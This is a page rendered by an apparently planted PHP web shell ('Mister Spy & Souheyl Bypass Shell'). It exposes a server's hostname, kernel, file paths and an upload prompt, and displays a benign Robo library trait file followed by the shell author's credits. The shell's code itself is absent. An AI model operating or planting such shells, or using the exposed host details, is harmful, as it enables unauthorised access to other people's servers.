Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/vendor/consolidation/robo/src/Common/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/vendor/consolidation/robo/src/Common/DynamicParams.php

<?php

namespace Robo\Common;

/**
 * Simplifies generating of configuration chanined methods.
 * You can only define configuration properties and use magic methods to set them.
 * Methods will be named the same way as properties.
 * * Boolean properties are switched on/off if no values is provided.
 * * Array properties can accept non-array values, in this case value will be appended to array.
 * You should also define phpdoc for methods.
 */
trait DynamicParams
{
    /**
     * @param string $property
     * @param array $args
     *
     * @return $this
     */
    public function __call($property, $args)
    {
        if (!property_exists($this, $property)) {
            throw new \RuntimeException("Property $property in task " . get_class($this) . ' does not exists');
        }

        // toggle boolean values
        if (!isset($args[0]) and (is_bool($this->$property))) {
            $this->$property = !$this->$property;
            return $this;
        }

        // append item to array
        if (is_array($this->$property)) {
            if (is_array($args[0])) {
                $this->$property = $args[0];
            } else {
                array_push($this->$property, $args[0]);
            }
            return $this;
        }

        $this->$property = $args[0];
        return $this;
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net